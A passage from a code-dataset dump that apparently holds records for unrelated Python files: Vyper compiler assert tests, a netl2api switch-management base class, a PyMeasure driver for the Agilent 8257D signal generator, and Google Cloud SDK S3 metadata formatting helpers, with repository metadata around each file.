= get_contract(code, *[c1.address]) # static call prohibits state change assert_tx_failed(lambda: c2.test()) def test_assert_in_for_loop(get_contract, assert_tx_failed, memory_mocker): code = """ @external def test(x: uint256[3]) -> bool: for i in range(3): assert x[i] < 5 return True """ c = get_contract(code) c.test([1, 2, 3]) assert_tx_failed(lambda: c.test([5, 1, 3])) assert_tx_failed(lambda: c.test([1, 5, 3])) assert_tx_failed(lambda: c.test([1, 3, 5])) def test_assert_with_reason_in_for_loop(get_contract, assert_tx_failed, memory_mocker): code = """ @external def test(x: uint256[3]) -> bool: for i in range(3): assert x[i] < 5, "because reasons" return True """ c = get_contract(code) c.test([1, 2, 3]) assert_tx_failed(lambda: c.test([5, 1, 3])) assert_tx_failed(lambda: c.test([1, 5, 3])) assert_tx_failed(lambda: c.test([1, 3, 5])) def test_assert_reason_revert_length(w3, get_contract, memory_mocker): code = """ @external def test() -> int128: assert 1 == 2, "oops" return 1 """ c = get_contract(code) w3.manager.provider.ethereum_tester.backend.is_eip838_error = lambda err: False with pytest.raises(TransactionFailed) as e_info: c.test() error_bytes = eval(_fixup_err_str(e_info.value.args[0])) assert len(error_bytes) == 100 msg = decode_single("string", error_bytes[36:]) assert msg == "oops"

0

244

0

3,754

0

34

272

3f29ebd88cd6558019edc58f99d89c4d08dc0aae

8,654

py

Python

netl2api/l2api/__init__.py

locaweb/netl2api

f84c0362d1676c8771015b7cc48461e44a21c34d

[ "Apache-2.0" ]

3

2015-04-08T18:50:02.000Z

2019-06-05T22:40:45.000Z

netl2api/l2api/__init__.py

locaweb/netl2api

f84c0362d1676c8771015b7cc48461e44a21c34d

[ "Apache-2.0" ]

null

netl2api/l2api/__init__.py

locaweb/netl2api

f84c0362d1676c8771015b7cc48461e44a21c34d

[ "Apache-2.0" ]

null

#!/usr/bin/python # -*- coding: utf-8; -*- # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # @author: Eduardo S. Scarpellini # @author: Luiz Ozaki __copyright__ = "Copyright 2012, Locaweb IDC" __all__ = ["L2API"]

40.064815

122

0.605616

#!/usr/bin/python # -*- coding: utf-8; -*- # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # @author: Eduardo S. Scarpellini # @author: Luiz Ozaki __copyright__ = "Copyright 2012, Locaweb IDC" from netl2api.l2api.exceptions import * from netl2api.l2api.autocache import L2APIAutoCache from netl2api.l2api.transport import SysSSHTransport #, TransportManager __all__ = ["L2API"] class L2API(L2APIAutoCache): """ Base class for L2 operations. Vendor-specific classes should extend this, declare 'self.__VENDOR__' (vendor str), 'self.__HWTYPE__' (hardware type str), 'self.prompt_mark', 'self.error_mark' and 'self.config_term_cmd' (see transport classes for understand these three last parameters). Ex.: class ExampleVendorAPI(L2API): def __init__(self, *args, **kwargs): self.__VENDOR__ = "ExampleVendor" self.__HWTYPE__ = "stackable_switch" self.prompt_mark = "#" self.error_mark = "% Error:" self.config_term_cmd = "terminal length 0" super(ExampleVendorAPI, self).__init__(*args, **kwargs) ... def show_version(self): ... def show_interfaces(self): .... """ def __init__(self, host=None, port=None, username=None, passwd=None, transport=None): super(L2API, self).__init__() if not hasattr(self, "__VENDOR__"): raise InvalidParameter("'self.__VENDOR__' is not defined (class '%s')" % self.__class__.__name__) if not hasattr(self, "__HWTYPE__"): raise InvalidParameter("'self.__HWTYPE__' is not defined (class '%s')" % self.__class__.__name__) if not host or type(host) not in (str, unicode): raise InvalidParameter("'host' parameter is not defined or invalid") if not username or type(username) not in (str, unicode): raise InvalidParameter("'username' parameter is not defined or invalid") if not passwd or type(passwd) not in (str, unicode): raise InvalidParameter("'passwd' parameter is not defined or invalid") if not hasattr(self, "prompt_mark"): self.prompt_mark = "#" if not hasattr(self, "error_mark"): self.error_mark = None if not hasattr(self, "config_term_cmd"): self.config_term_cmd = None if not transport: transport = SysSSHTransport.SysSSH self.use_cache = True self.cache_config = { "show_system": { "ttl": 600, "clear_on": [] }, "show_hostname": { "ttl": 600, "clear_on": [] }, "show_version": { "ttl": 600, "clear_on": [] }, "show_interfaces": { "ttl": 120, "clear_on": ["enable_interface", "disable_interface", "change_interface_description"] }, "show_lldp": { "ttl": 180, "clear_on": [] }, "show_arp": { "ttl": 180, "clear_on": [] }, "show_uplinks": { "ttl": 180, "clear_on": [] }, "show_vlans": { "ttl": 180, "clear_on": ["create_vlan", "destroy_vlan", "enable_vlan", "disable_vlan", "change_vlan_description", "interface_attach_vlan", "interface_detach_vlan", "lag_attach_vlan", "lag_detach_vlan"] }, "show_lags": { "ttl": 180, "clear_on": ["create_lag", "destroy_lag", "enable_lag", "disable_lag", "change_lag_description", "lag_attach_interface", "lag_detach_interface"] }, } #self.transport = TransportManager.TransportPool(transport=transport, max_connections=2, host=host, port=port, # username=username, passwd=passwd, prompt_mark=self.prompt_mark, # error_mark=self.error_mark, config_term_cmd=self.config_term_cmd) self.transport = transport(host=host, port=port, username=username, passwd=passwd, prompt_mark=self.prompt_mark, error_mark=self.error_mark, config_term_cmd=self.config_term_cmd) def dump_config(self): raise NotImplementedError("Not implemented") def save_config(self): raise NotImplementedError("Not implemented") def show_system(self): raise NotImplementedError("Not implemented") def show_hostname(self): raise NotImplementedError("Not implemented") def show_version(self): raise NotImplementedError("Not implemented") def show_interfaces(self, interface_id=None): raise NotImplementedError("Not implemented") def show_lldp(self, interface_id=None): raise NotImplementedError("Not implemented") def show_arp(self, interface_id=None): raise NotImplementedError("Not implemented") def show_uplinks(self): raise NotImplementedError("Not implemented") def show_vlans(self, vlan_id=None): raise NotImplementedError("Not implemented") def show_lags(self, lag_id=None): raise NotImplementedError("Not implemented") def create_vlan(self, vlan_id=None, vlan_description=None): raise NotImplementedError("Not implemented") def create_lag(self, lag_id=None, lag_description=None): raise NotImplementedError("Not implemented") def enable_interface(self, interface_id=None): raise NotImplementedError("Not implemented") def enable_vlan(self, vlan_id=None): raise NotImplementedError("Not implemented") def enable_lag(self, lag_id=None): raise NotImplementedError("Not implemented") def disable_interface(self, interface_id=None): raise NotImplementedError("Not implemented") def disable_vlan(self, vlan_id=None): raise NotImplementedError("Not implemented") def disable_lag(self, lag_id=None): raise NotImplementedError("Not implemented") def change_interface_description(self, interface_id=None, interface_description=None): raise NotImplementedError("Not implemented") def change_vlan_description(self, vlan_id=None, vlan_description=None): raise NotImplementedError("Not implemented") def change_lag_description(self, lag_id=None, lag_description=None): raise NotImplementedError("Not implemented") def destroy_vlan(self, vlan_id=None): raise NotImplementedError("Not implemented") def destroy_lag(self, lag_id=None): raise NotImplementedError("Not implemented") def interface_attach_vlan(self, interface_id=None, vlan_id=None, tagged=True): raise NotImplementedError("Not implemented") def interface_detach_vlan(self, interface_id=None, vlan_id=None, tagged=True): raise NotImplementedError("Not implemented") def lag_attach_vlan(self, lag_id=None, vlan_id=None, tagged=True): raise NotImplementedError("Not implemented") def lag_detach_vlan(self, lag_id=None, vlan_id=None, tagged=True): raise NotImplementedError("Not implemented") def lag_attach_interface(self, lag_id=None, interface_id=None): raise NotImplementedError("Not implemented") def lag_detach_interface(self, lag_id=None, interface_id=None): raise NotImplementedError("Not implemented") # def __del__(self): # if self.transport is not None: # try: # self.transport.close() # except Exception: # pass

0

7,694

0

79

110

53e3d50dfd8819a70c242ed90be54300221236ee

12,531

py

Python

pymeasure/instruments/agilent/agilent8257D.py

dphaas/pymeasure

580c33bf5f1e409bb575c46bbd1df682bf27cfe1

[ "MIT" ]

null

pymeasure/instruments/agilent/agilent8257D.py

dphaas/pymeasure

580c33bf5f1e409bb575c46bbd1df682bf27cfe1

[ "MIT" ]

null

pymeasure/instruments/agilent/agilent8257D.py

dphaas/pymeasure

580c33bf5f1e409bb575c46bbd1df682bf27cfe1

[ "MIT" ]

null

# # This file is part of the PyMeasure package. # # Copyright (c) 2013-2022 PyMeasure Developers # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. #

36.533528

100

0.615194

# # This file is part of the PyMeasure package. # # Copyright (c) 2013-2022 PyMeasure Developers # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # from pymeasure.instruments import Instrument from pymeasure.instruments.validators import truncated_range, strict_discrete_set class Agilent8257D(Instrument): """Represents the Agilent 8257D Signal Generator and provides a high-level interface for interacting with the instrument. .. code-block:: python generator = Agilent8257D("GPIB::1") generator.power = 0 # Sets the output power to 0 dBm generator.frequency = 5 # Sets the output frequency to 5 GHz generator.enable() # Enables the output """ power = Instrument.control( ":POW?;", ":POW %g dBm;", """ A floating point property that represents the output power in dBm. This property can be set. """ ) frequency = Instrument.control( ":FREQ?;", ":FREQ %e Hz;", """ A floating point property that represents the output frequency in Hz. This property can be set. """ ) start_frequency = Instrument.control( ":SOUR:FREQ:STAR?", ":SOUR:FREQ:STAR %e Hz", """ A floating point property that represents the start frequency in Hz. This property can be set. """ ) center_frequency = Instrument.control( ":SOUR:FREQ:CENT?", ":SOUR:FREQ:CENT %e Hz;", """ A floating point property that represents the center frequency in Hz. This property can be set. """ ) stop_frequency = Instrument.control( ":SOUR:FREQ:STOP?", ":SOUR:FREQ:STOP %e Hz", """ A floating point property that represents the stop frequency in Hz. This property can be set. """ ) start_power = Instrument.control( ":SOUR:POW:STAR?", ":SOUR:POW:STAR %e dBm", """ A floating point property that represents the start power in dBm. This property can be set. """ ) stop_power = Instrument.control( ":SOUR:POW:STOP?", ":SOUR:POW:STOP %e dBm", """ A floating point property that represents the stop power in dBm. This property can be set. """ ) dwell_time = Instrument.control( ":SOUR:SWE:DWEL1?", ":SOUR:SWE:DWEL1 %.3f", """ A floating point property that represents the settling time in seconds at the current frequency or power setting. This property can be set. """ ) step_points = Instrument.control( ":SOUR:SWE:POIN?", ":SOUR:SWE:POIN %d", """ An integer number of points in a step sweep. This property can be set. """ ) is_enabled = Instrument.measurement( ":OUTPUT?", """ Reads a boolean value that is True if the output is on. """, cast=bool ) has_modulation = Instrument.measurement( ":OUTPUT:MOD?", """ Reads a boolean value that is True if the modulation is enabled. """, cast=bool ) ######################## # Amplitude modulation # ######################## has_amplitude_modulation = Instrument.measurement( ":SOUR:AM:STAT?", """ Reads a boolean value that is True if the amplitude modulation is enabled. """, cast=bool ) amplitude_depth = Instrument.control( ":SOUR:AM:DEPT?", ":SOUR:AM:DEPT %g", """ A floating point property that controls the amplitude modulation in precent, which can take values from 0 to 100 %. """, validator=truncated_range, values=[0, 100] ) AMPLITUDE_SOURCES = { 'internal': 'INT', 'internal 2': 'INT2', 'external': 'EXT', 'external 2': 'EXT2' } amplitude_source = Instrument.control( ":SOUR:AM:SOUR?", ":SOUR:AM:SOUR %s", """ A string property that controls the source of the amplitude modulation signal, which can take the values: 'internal', 'internal 2', 'external', and 'external 2'. """, validator=strict_discrete_set, values=AMPLITUDE_SOURCES, map_values=True ) #################### # Pulse modulation # #################### has_pulse_modulation = Instrument.measurement( ":SOUR:PULM:STAT?", """ Reads a boolean value that is True if the pulse modulation is enabled. """, cast=bool ) PULSE_SOURCES = { 'internal': 'INT', 'external': 'EXT', 'scalar': 'SCAL' } pulse_source = Instrument.control( ":SOUR:PULM:SOUR?", ":SOUR:PULM:SOUR %s", """ A string property that controls the source of the pulse modulation signal, which can take the values: 'internal', 'external', and 'scalar'. """, validator=strict_discrete_set, values=PULSE_SOURCES, map_values=True ) PULSE_INPUTS = { 'square': 'SQU', 'free-run': 'FRUN', 'triggered': 'TRIG', 'doublet': 'DOUB', 'gated': 'GATE' } pulse_input = Instrument.control( ":SOUR:PULM:SOUR:INT?", ":SOUR:PULM:SOUR:INT %s", """ A string property that controls the internally generated modulation input for the pulse modulation, which can take the values: 'square', 'free-run', 'triggered', 'doublet', and 'gated'. """, validator=strict_discrete_set, values=PULSE_INPUTS, map_values=True ) pulse_frequency = Instrument.control( ":SOUR:PULM:INT:FREQ?", ":SOUR:PULM:INT:FREQ %g", """ A floating point property that controls the pulse rate frequency in Hertz, which can take values from 0.1 Hz to 10 MHz. """, validator=truncated_range, values=[0.1, 10e6] ) ######################## # Low-Frequency Output # ######################## low_freq_out_amplitude = Instrument.control( ":SOUR:LFO:AMPL? ", ":SOUR:LFO:AMPL %g VP", """A floating point property that controls the peak voltage (amplitude) of the low frequency output in volts, which can take values from 0-3.5V""", validator=truncated_range, values=[0, 3.5] ) LOW_FREQUENCY_SOURCES = { 'internal': 'INT', 'internal 2': 'INT2', 'function': 'FUNC', 'function 2': 'FUNC2' } low_freq_out_source = Instrument.control( ":SOUR:LFO:SOUR?", ":SOUR:LFO:SOUR %s", """A string property which controls the source of the low frequency output, which can take the values 'internal [2]' for the inernal source, or 'function [2]' for an internal function generator which can be configured.""", validator=strict_discrete_set, values=LOW_FREQUENCY_SOURCES, map_values=True ) def enable_low_freq_out(self): """Enables low frequency output""" self.write(":SOUR:LFO:STAT ON") def disable_low_freq_out(self): """Disables low frequency output""" self.write(":SOUR:LFO:STAT OFF") def config_low_freq_out(self, source='internal', amplitude=3): """ Configures the low-frequency output signal. :param source: The source for the low-frequency output signal. :param amplitude: Amplitude of the low-frequency output """ self.enable_low_freq_out() self.low_freq_out_source = source self.low_freq_out_amplitude = amplitude ####################### # Internal Oscillator # ####################### internal_frequency = Instrument.control( ":SOUR:AM:INT:FREQ?", ":SOUR:AM:INT:FREQ %g", """ A floating point property that controls the frequency of the internal oscillator in Hertz, which can take values from 0.5 Hz to 1 MHz. """, validator=truncated_range, values=[0.5, 1e6] ) INTERNAL_SHAPES = { 'sine': 'SINE', 'triangle': 'TRI', 'square': 'SQU', 'ramp': 'RAMP', 'noise': 'NOIS', 'dual-sine': 'DUAL', 'swept-sine': 'SWEP' } internal_shape = Instrument.control( ":SOUR:AM:INT:FUNC:SHAP?", ":SOUR:AM:INT:FUNC:SHAP %s", """ A string property that controls the shape of the internal oscillations, which can take the values: 'sine', 'triangle', 'square', 'ramp', 'noise', 'dual-sine', and 'swept-sine'. """, validator=strict_discrete_set, values=INTERNAL_SHAPES, map_values=True ) def __init__(self, adapter, **kwargs): super().__init__( adapter, "Agilent 8257D RF Signal Generator", **kwargs ) def enable(self): """ Enables the output of the signal. """ self.write(":OUTPUT ON;") def disable(self): """ Disables the output of the signal. """ self.write(":OUTPUT OFF;") def enable_modulation(self): self.write(":OUTPUT:MOD ON;") self.write(":lfo:sour int; :lfo:ampl 2.0vp; :lfo:stat on;") def disable_modulation(self): """ Disables the signal modulation. """ self.write(":OUTPUT:MOD OFF;") self.write(":lfo:stat off;") def config_amplitude_modulation(self, frequency=1e3, depth=100.0, shape='sine'): """ Configures the amplitude modulation of the output signal. :param frequency: A modulation frequency for the internal oscillator :param depth: A linear depth precentage :param shape: A string that describes the shape for the internal oscillator """ self.enable_amplitude_modulation() self.amplitude_source = 'internal' self.internal_frequency = frequency self.internal_shape = shape self.amplitude_depth = depth def enable_amplitude_modulation(self): """ Enables amplitude modulation of the output signal. """ self.write(":SOUR:AM:STAT ON") def disable_amplitude_modulation(self): """ Disables amplitude modulation of the output signal. """ self.write(":SOUR:AM:STAT OFF") def config_pulse_modulation(self, frequency=1e3, input='square'): """ Configures the pulse modulation of the output signal. :param frequency: A pulse rate frequency in Hertz :param input: A string that describes the internal pulse input """ self.enable_pulse_modulation() self.pulse_source = 'internal' self.pulse_input = input self.pulse_frequency = frequency def enable_pulse_modulation(self): """ Enables pulse modulation of the output signal. """ self.write(":SOUR:PULM:STAT ON") def disable_pulse_modulation(self): """ Disables pulse modulation of the output signal. """ self.write(":SOUR:PULM:STAT OFF") def config_step_sweep(self): """ Configures a step sweep through frequency """ self.write(":SOUR:FREQ:MODE SWE;" ":SOUR:SWE:GEN STEP;" ":SOUR:SWE:MODE AUTO;") def enable_retrace(self): self.write(":SOUR:LIST:RETR 1") def disable_retrace(self): self.write(":SOUR:LIST:RETR 0") def single_sweep(self): self.write(":SOUR:TSW") def start_step_sweep(self): """ Starts a step sweep. """ self.write(":SOUR:SWE:CONT:STAT ON") def stop_step_sweep(self): """ Stops a step sweep. """ self.write(":SOUR:SWE:CONT:STAT OFF") def shutdown(self): """ Shuts down the instrument by disabling any modulation and the output signal. """ self.disable_modulation() self.disable()

0

11,223

0

83

68

dec7d6d3d15ea5d55e90e3e5423d903170fe436f

12,428

py

Python

lib/googlecloudsdk/command_lib/storage/resources/s3_resource_reference.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

2

2019-11-10T09:17:07.000Z

2019-12-18T13:44:08.000Z

lib/googlecloudsdk/command_lib/storage/resources/s3_resource_reference.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

null

lib/googlecloudsdk/command_lib/storage/resources/s3_resource_reference.py

google-cloud-sdk-unofficial/google-cloud-sdk

2a48a04df14be46c8745050f98768e30474a1aac

[ "Apache-2.0" ]

1

2020-07-25T01:40:19.000Z

# -*- coding: utf-8 -*- # # Copyright 2020 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """S3 API-specific resource subclasses.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import collections from googlecloudsdk.api_lib.storage import errors from googlecloudsdk.command_lib.storage.resources import resource_util _INCOMPLETE_OBJECT_METADATA_WARNING = ( 'Use "-j", the JSON flag, to view additional S3 metadata.') def _json_dump_recursion_helper(metadata): """See _get_json_dump docstring.""" if isinstance(metadata, list): return [_json_dump_recursion_helper(item) for item in metadata] if not isinstance(metadata, dict): return resource_util.convert_to_json_parsable_type(metadata) # Sort by key to make sure dictionary always prints in correct order. formatted_dict = collections.OrderedDict(sorted(metadata.items())) for key, value in formatted_dict.items(): if isinstance(value, dict): # Recursively handle dictionaries. formatted_dict[key] = _json_dump_recursion_helper(value) elif isinstance(value, list): # Recursively handled lists, which may contain more dicts, like ACLs. formatted_list = [_json_dump_recursion_helper(item) for item in value] if formatted_list: # Ignore empty lists. formatted_dict[key] = formatted_list elif value or resource_util.should_preserve_falsy_metadata_value(value): formatted_dict[key] = resource_util.convert_to_json_parsable_type(value) return formatted_dict def _get_json_dump(resource): """Formats S3 resource metadata as JSON. Args: resource (S3BucketResource|S3ObjectResource): Resource object. Returns: Formatted JSON string. """ return resource_util.configured_json_dumps( collections.OrderedDict([ ('url', resource.storage_url.url_string), ('type', resource.TYPE_STRING), ('metadata', _json_dump_recursion_helper(resource.metadata)), ])) def _get_error_or_exists_string(value): """Returns error if value is error or existence string.""" if isinstance(value, errors.S3ApiError): return value else: return resource_util.get_exists_string(value) def _get_formatted_acl_section(acl_metadata): """Returns formatted ACLs, error, or formatted none value.""" if isinstance(acl_metadata, errors.S3ApiError): return resource_util.get_padded_metadata_key_value_line('ACL', acl_metadata) elif acl_metadata: return resource_util.get_metadata_json_section_string( 'ACL', acl_metadata, _json_dump_recursion_helper) else: return resource_util.get_padded_metadata_key_value_line('ACL', '[]') def _get_full_bucket_metadata_string(resource): """Formats S3 resource metadata as string with rows. Args: resource (S3BucketResource): Resource with metadata. Returns: Formatted multi-line string. """ # Hardcoded strings found in Boto docs: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html logging_enabled_value = _get_error_or_exists_string( resource.metadata['LoggingEnabled']) website_value = _get_error_or_exists_string(resource.metadata['Website']) cors_value = _get_error_or_exists_string(resource.metadata['CORSRules']) encryption_value = _get_error_or_exists_string( resource.metadata['ServerSideEncryptionConfiguration']) lifecycle_configuration_value = _get_error_or_exists_string( resource.metadata['LifecycleConfiguration']) if isinstance(resource.metadata['Versioning'], errors.S3ApiError): versioning_enabled_value = resource.metadata['Versioning'] else: versioning_status = resource.metadata['Versioning'].get('Status') if versioning_status == 'Enabled': versioning_enabled_value = True elif versioning_status == 'Suspended': versioning_enabled_value = False else: versioning_enabled_value = None if isinstance(resource.metadata['Payer'], errors.S3ApiError): requester_pays_value = resource.metadata['Payer'] elif resource.metadata['Payer'] == 'Requester': requester_pays_value = True elif resource.metadata['Payer'] == 'BucketOwner': requester_pays_value = False else: requester_pays_value = None return ( '{bucket_url}:\n' '{location_constraint_line}' '{versioning_enabled_line}' '{logging_config_line}' '{website_config_line}' '{cors_config_line}' '{encryption_config_line}' '{lifecycle_config_line}' '{requester_pays_line}' '{acl_section}' ).format( bucket_url=resource.storage_url.versionless_url_string, location_constraint_line=resource_util.get_padded_metadata_key_value_line( 'Location Constraint', resource.metadata['LocationConstraint']), versioning_enabled_line=resource_util.get_padded_metadata_key_value_line( 'Versioning Enabled', versioning_enabled_value), logging_config_line=resource_util.get_padded_metadata_key_value_line( 'Logging Configuration', logging_enabled_value), website_config_line=resource_util.get_padded_metadata_key_value_line( 'Website Configuration', website_value), cors_config_line=resource_util.get_padded_metadata_key_value_line( 'CORS Configuration', cors_value), encryption_config_line=resource_util.get_padded_metadata_key_value_line( 'Encryption Configuration', encryption_value), lifecycle_config_line=resource_util.get_padded_metadata_key_value_line( 'Lifecycle Configuration', lifecycle_configuration_value), requester_pays_line=resource_util.get_padded_metadata_key_value_line( 'Requester Pays Enabled', requester_pays_value), # Remove ending newline character because this is the last list item. acl_section=_get_formatted_acl_section(resource.metadata['ACL'])[:-1]) def _get_full_object_metadata_string(resource): """Formats S3 resource metadata as string with rows. Args: resource (S3ObjectResource): Resource with metadata. Returns: Formatted multi-line string. """ # Hardcoded strings found in Boto docs: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html if 'LastModified' in resource.metadata: optional_time_updated_line = resource_util.get_padded_metadata_time_line( 'Update Time', resource.metadata['LastModified']) else: optional_time_updated_line = '' if 'StorageClass' in resource.metadata: optional_storage_class_line = resource_util.get_padded_metadata_key_value_line( 'Storage Class', resource.metadata['StorageClass']) else: optional_storage_class_line = '' if 'CacheControl' in resource.metadata: optional_cache_control_line = resource_util.get_padded_metadata_key_value_line( 'Cache-Control', resource.metadata['CacheControl']) else: optional_cache_control_line = '' if 'CacheDisposition' in resource.metadata: optional_content_disposition_line = resource_util.get_padded_metadata_key_value_line( 'Cache-Disposition', resource.metadata['CacheDisposition']) else: optional_content_disposition_line = '' if 'ContentEncoding' in resource.metadata: optional_content_encoding_line = resource_util.get_padded_metadata_key_value_line( 'Content-Encoding', resource.metadata['ContentEncoding']) else: optional_content_encoding_line = '' if 'ContentLanguage' in resource.metadata: optional_content_language_line = resource_util.get_padded_metadata_key_value_line( 'Content-Language', resource.metadata['ContentLanguage']) else: optional_content_language_line = '' if 'PartsCount' in resource.metadata: optional_component_count_line = ( resource_util.get_padded_metadata_key_value_line( 'Component-Count', resource.metadata['PartsCount'])) else: optional_component_count_line = '' if resource.md5_hash is not None: optional_md5_line = resource_util.get_padded_metadata_key_value_line( 'Hash (MD5)', resource.md5_hash) elif 'SSECustomerAlgorithm' in resource.metadata: optional_md5_line = resource_util.get_padded_metadata_key_value_line( 'Hash (MD5)', 'Underlying data encrypted') else: optional_md5_line = '' if 'SSECustomerAlgorithm' in resource.metadata: optional_encryption_algorithm_line = ( resource_util.get_padded_metadata_key_value_line( 'Encryption Algorithm', resource.metadata['SSECustomerAlgorithm'])) else: optional_encryption_algorithm_line = '' if resource.generation: optional_generation_line = resource_util.get_padded_metadata_key_value_line( 'Generation', resource.generation) else: optional_generation_line = '' return ( '{object_url}:\n' '{optional_time_updated_line}' '{optional_storage_class_line}' '{optional_cache_control_line}' '{optional_content_disposition_line}' '{optional_content_encoding_line}' '{optional_content_language_line}' '{content_length_line}' '{content_type_line}' '{optional_component_count_line}' '{optional_md5_line}' '{optional_encryption_algorithm_line}' '{etag_line}' '{optional_generation_line}' '{acl_section}' ' {incomplete_warning}').format( object_url=resource.storage_url.versionless_url_string, optional_time_updated_line=optional_time_updated_line, optional_storage_class_line=optional_storage_class_line, optional_cache_control_line=optional_cache_control_line, optional_content_disposition_line=optional_content_disposition_line, optional_content_encoding_line=optional_content_encoding_line, optional_content_language_line=optional_content_language_line, content_length_line=resource_util.get_padded_metadata_key_value_line( 'Content-Length', resource.size), content_type_line=resource_util.get_padded_metadata_key_value_line( 'Content-Type', resource.metadata.get('ContentType')), optional_component_count_line=optional_component_count_line, optional_md5_line=optional_md5_line, optional_encryption_algorithm_line=optional_encryption_algorithm_line, etag_line=resource_util.get_padded_metadata_key_value_line( 'ETag', resource.etag), optional_generation_line=optional_generation_line, acl_section=_get_formatted_acl_section(resource.metadata.get('ACL')), incomplete_warning=_INCOMPLETE_OBJECT_METADATA_WARNING)

38.716511

89

0.745735

# -*- coding: utf-8 -*- # # Copyright 2020 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """S3 API-specific resource subclasses.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import collections from googlecloudsdk.api_lib.storage import errors from googlecloudsdk.command_lib.storage.resources import resource_reference from googlecloudsdk.command_lib.storage.resources import resource_util _INCOMPLETE_OBJECT_METADATA_WARNING = ( 'Use "-j", the JSON flag, to view additional S3 metadata.') def _json_dump_recursion_helper(metadata): """See _get_json_dump docstring.""" if isinstance(metadata, list): return [_json_dump_recursion_helper(item) for item in metadata] if not isinstance(metadata, dict): return resource_util.convert_to_json_parsable_type(metadata) # Sort by key to make sure dictionary always prints in correct order. formatted_dict = collections.OrderedDict(sorted(metadata.items())) for key, value in formatted_dict.items(): if isinstance(value, dict): # Recursively handle dictionaries. formatted_dict[key] = _json_dump_recursion_helper(value) elif isinstance(value, list): # Recursively handled lists, which may contain more dicts, like ACLs. formatted_list = [_json_dump_recursion_helper(item) for item in value] if formatted_list: # Ignore empty lists. formatted_dict[key] = formatted_list elif value or resource_util.should_preserve_falsy_metadata_value(value): formatted_dict[key] = resource_util.convert_to_json_parsable_type(value) return formatted_dict def _get_json_dump(resource): """Formats S3 resource metadata as JSON. Args: resource (S3BucketResource|S3ObjectResource): Resource object. Returns: Formatted JSON string. """ return resource_util.configured_json_dumps( collections.OrderedDict([ ('url', resource.storage_url.url_string), ('type', resource.TYPE_STRING), ('metadata', _json_dump_recursion_helper(resource.metadata)), ])) def _get_error_or_exists_string(value): """Returns error if value is error or existence string.""" if isinstance(value, errors.S3ApiError): return value else: return resource_util.get_exists_string(value) def _get_formatted_acl_section(acl_metadata): """Returns formatted ACLs, error, or formatted none value.""" if isinstance(acl_metadata, errors.S3ApiError): return resource_util.get_padded_metadata_key_value_line('ACL', acl_metadata) elif acl_metadata: return resource_util.get_metadata_json_section_string( 'ACL', acl_metadata, _json_dump_recursion_helper) else: return resource_util.get_padded_metadata_key_value_line('ACL', '[]') def _get_full_bucket_metadata_string(resource): """Formats S3 resource metadata as string with rows. Args: resource (S3BucketResource): Resource with metadata. Returns: Formatted multi-line string. """ # Hardcoded strings found in Boto docs: # 